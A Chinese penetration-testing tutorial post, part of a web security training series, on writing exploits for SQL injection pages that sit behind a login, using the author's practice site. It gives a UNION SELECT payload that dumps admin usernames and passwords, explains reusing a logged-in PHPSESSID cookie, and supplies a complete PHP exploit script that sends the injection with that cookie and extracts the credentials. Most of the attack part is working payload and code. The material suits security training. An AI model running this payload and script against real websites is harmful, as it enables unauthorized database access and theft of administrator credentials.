1. 首页
  2. 渗透测试

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第七章 exp编写篇05 需要验证的exp编写

前四篇的内容都是使用payload 直接访问攻击页面,而且不需要权限认证,能直接使用exp实现攻击。
如果需要登录认证 如 登录后方可访问漏洞页面,像这种需要权限认证的漏洞页面,在平时测试也是非常的多,这节就来细说这种exp如何编写。
访问暗月靶机测试系统 帐号和密码分别为 moon 123456
http://www.moontester.com/


登录访问->登录后->文章列表

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写
[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

id=1 是存在SQL注入的,以下是测试的payload语句。
-1 union select 1,2,group_concat(0x7e,username,0x3a,password,0x7e) from admin

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

如果不登录的情况下直接访问url 页面是会返回 登录后再进行访问 这种情况下编写exp同样是返回 登录后再进行访问。

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

这种情况如何处理?


1、首先要理解 用户登录验证是通过 SESSION_ID 做判断的,无论是那种网页程序 asp aspx php java都是一样的。


以暗月靶机系统为列 ,访问网页的时候 系统会分配一个唯一的SEESION_ID给你的浏览器,主要是表现在http头信息,没特别的设置的时候,关闭浏览器这个文件头信息就会消失。


2、用户登录成功后会在SESSION里生成判断的key 通过这个key验证是否登录。
登录成功后系统就会王gpcjcspj2oje5j3h2dtb8c8895这个文件里面写入内容,具体看这个部分的代码

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

$_SESSION[‘name’]=$usernme;
在linux 下面查找seesion的命令
find / -name **gpcjcspj2oje5j3h2dtb8c8895
登录成功后查看文件里就会存在moon

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

遇到有权限认证的页面 就可以通过登录后的session 再提交数据的时候也提交就可以了。

详细代码

[php]
详细代码
<?php
$site="www.moontester.com";
$payload="article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin";
$key ="PHPSESSID=gpcjcspj2oje5j3h2dtb8c8895";

function send_http($site,$payload,$key){
$fp = fsockopen($site, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /{$payload} HTTP/1.1\r\n";
$out .= "Host:{$site} \r\n";
$out .= "Connection: keep-alive\r\n\r\n";
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
$out .="Cookie:{$key}\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$resp .= fgets($fp, 1024);
}
fclose($fp);
return $resp;
}

}

$html = send_http($site,$payload,$key);

if($html){
preg_match(‘/~(.*?)~/’, $html,$m);
if($m[1]){
echo "[+]{$m[1]}[+]";
}else{
echo "[!]error[!]";
}

}else{
echo "[!]error[!]";
}

[/php]

登录后的session
$key =”PHPSESSID=gpcjcspj2oje5j3h2dtb8c8895″;

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

利用语句
$payload=”article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin”;
send_http发送包的函数
运行如图

[原创]WEB安全第七章 exp编写篇05 需要验证的exp编写

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/533.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息